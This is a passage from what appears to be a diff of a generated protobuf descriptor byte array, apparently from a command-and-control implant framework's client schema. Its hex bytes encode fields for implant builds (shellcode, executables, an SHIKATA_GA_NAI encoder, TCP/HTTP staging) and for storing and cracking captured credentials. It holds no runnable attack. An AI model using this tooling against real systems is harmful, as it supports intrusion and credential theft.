0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, + 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, + 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, + 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, + 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, + 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, + 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, + 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, + 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, + 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, + 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, + 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, + 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, + 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, + 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, + 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, + 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, + 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, + 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, + 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, - 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, - 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, - 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, - 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, - 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, - 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, - 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, - 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, - 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, - 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, - 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, - 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, - 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, - 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, - 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, - 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, - 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, - 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, - 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, - 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, - 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, - 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, - 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, - 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, - 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, - 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, - 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, - 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, - 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, - 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, - 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, - 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, - 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, - 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, - 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, - 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, - 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, - 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, - 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, - 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, - 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, - 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, - 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, - 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, - 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, - 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, - 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, - 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, - 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, - 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, - 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, - 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, - 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, - 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, - 0x57, 